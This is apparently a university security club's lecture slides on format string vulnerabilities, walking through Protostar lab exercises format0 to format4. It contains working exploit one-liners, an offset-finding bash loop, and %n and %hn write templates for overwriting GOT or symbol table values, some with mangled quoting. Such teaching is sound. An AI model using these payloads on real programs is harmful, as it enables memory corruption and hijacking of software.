UOSec Week7: Format String

Adam pond2@uoregon.edu
IRC: xe0

irc.freenode.net #0x4f
BKP next Friday
Oregon CTF March 7th (internship available)
Format string quick review C code
Format string exercise 1
bash script to find offsets
Format string exercise 2
Format string exercise 3
Format string quick review

- The Format String is the argument of the Format Function and is an ASCII string which contains text and format parameters, like: `printf ("The magic number is: %d\n", 1911);`
- The Format String Parameter, like `%x %s` defines the type of conversion of the format function.
Format string quick review

printf(“hello”);
Format string quick review

hello
Format string quick review

char user[] = "secclub";
printf("hello %s", user);
Format string quick review

hello secclub
char user[] = “secclub”;
int amt = 0;
printf(“hello %s, the total is %d”, user, amt);
hello secclub, the total is 0
Format string quick review

int hex1 = 0xdeadbeef;
int hex2 = 0x1010;
printf("hello %x, %08x", hex1, hex2);
Format string quick review

hello 0xdeadbeef, 00001010
Format string quick review

For more specifiers
man 3 printf
man printf
google.com
printf("%x, %x, %x", arg1, arg2, arg3);
## Format String Quick Review

08000000, 08000004, 08000008

<table>
<thead>
<tr>
<th>printf local vars</th>
<th>Other stack memory</th>
</tr>
</thead>
<tbody>
<tr>
<td>printf</td>
<td>08000008</td>
</tr>
<tr>
<td>..</td>
<td>..</td>
</tr>
<tr>
<td>08000000</td>
<td>Saved eip</td>
</tr>
<tr>
<td>saved ebp</td>
<td>printf local vars</td>
</tr>
<tr>
<td>ebp</td>
<td>esp</td>
</tr>
<tr>
<td>esp</td>
<td></td>
</tr>
</tbody>
</table>
printf(“%x, %x, %x”, arg1, arg2);
Format string quick review

08000000, 08000004, bf09000f

printf

Other stack memory
08000004
...
08000000
Saved eip
saved ebp
printf local vars

ebp
esp
printf("%x, %10$\%x", arg1, arg2);
Format string quick review

08000000, bf090037
● General formula:
  ○ with source: look for mismatched args to specifiers (printf(string),printf("%x%x",string))
  ○ with binary: try inputting %x and search memory with gdb if blind or script if reflected
Note: You can solve this like a traditional stack buffer overflow i.e. python -c "print 'A'*64 + '\xef\xbe\xad\xde'"
but the point of this exercise is to utilize a format specifier to do something tricky s.t. total about of bytes needed for this exploit is 10 or less.
Exercise 1 Format0

https://exploit-exercises.com/protostar/format0/

hint: the width specifier is your friend. If you forgot what that is:
  man 3 printf or google or ask me
./format0 $(python -c "print \"\"print \'%64x\' + \"\"xef\xeb\xad\xde\\"\"")
Finding offsets

- Once you’ve found a vulnerable program, you need to find the offset to your format string in memory.
- If you don’t have a program which is echoing back the value (aka format0), you will need to search for it using a debugger (gdb).
- However, if it does reflect back your input, you can write a script to quickly find the offset.
Finding offsets

for i in {1..200}; do echo -n "\$i ";
./format1 "AAAA\%$i\$x" | grep 4141; if (( $? == 0 )); then break; fi ; echo ""; done;

you can find this on uosec.net/format_script

man wget (if you need it)
Writing with format string

- Last thing needed is the ability to write using format strings
- Fortunately we can use the %n specifier to write
  - python -c "print '<data>%offset\$n'"
- This would write <data> to whatever offset provided
Writing with format string

- ./fmt $(python -c "print 'AAAA%12\$n'")

Let's say that the 12th argument from format string pointer lies the address of where AAAA is.

Then we would replace the address to where AAAA is stored with 0x41414141
Interesting places to write

- Lots of interesting places write GOT, PLT, DTORS, CTORS, etc...assuming they are writable
- That being said, for protostar we need to be familiar with symbol table and GOT
- Symbol table: `objdump -M intel -t <executable>`
- GOT table: `objdump -M intel -R <executable>`
Exercise 2 format1

https://exploit-exercises.com/protostar/format1/

hint: use format_script to find address of string
./format1 $(python -c "print '\x38\x96\x04\x08' + '%129\$n' + '\x01'*3")

note the \x01 bytes are just junk to align the memory because my protostar had an odd memory alignment :( the offset (129) will vary.
Managing larger offsets

- Lets say, you need to write a specific value (backdoor value, key, etc) into something in the symbol table like 0x232042
- we can do some math with width specifier and %u(unsigned int) and %n to write whatever address we’d like
Managing larger offsets

- Let's imagine we want to write the value 23000 to a variable in the symbol table. We can do this:

```
python -c "print 'addr_to_symbol_table_var' + '%(23000-length_of_addr_to_symbol_table_var)u'+'%offset_to_format_string\$n'" | ./fmt2
```
Exercise 3 format2

https://exploit-exercises.com/protostar/format2/

hint: use script again (will need to modify, if you can’t figure it out in a minute you can ask me but.. it’s easy, use echo) to get offset for format string
Finally, we can also break up the writes when the value is too large to be used as an offset (max is $2^{16}-1$) so if you need to write a value larger than that (you will), then you have to break it up into at least two writes.

Luckily, format strings have the `%h` specifier we can use to write one half of an address at a time.
Break up writing to smaller

- Lets imagine the exact same situation as last time, but now the value we need is 0x15048fba 352620474= (gdb + p/d <addr>) this is > 2^16-1
- first address to write 0x1504 (5380) and 0x8fba second(36794)
- also, we’re doing two writes which means we need to add two bytes for the high order bits and a second %n
Break up writing to smaller

- python -c "print 'addr_to_symbol_table_var+2bytes' + 'addr_to_symbol_table_var' + '%(5380-8)u' + '% offset_to_format_string\$n' + '%(36794-5380)u'+ '%offset_to_format_string+1\$n'" | ./fmt3
Exercise 4 format3

https://exploit-exercises.com/protostar/format4/

hint: use modified script again to find offset
I didn’t talk about defenses. Big defense to format string is static analysis + compiler warnings + source_fortify bit (makes it so you can’t use %n specifier among other things)

http://phrack.org/issues/59/7.html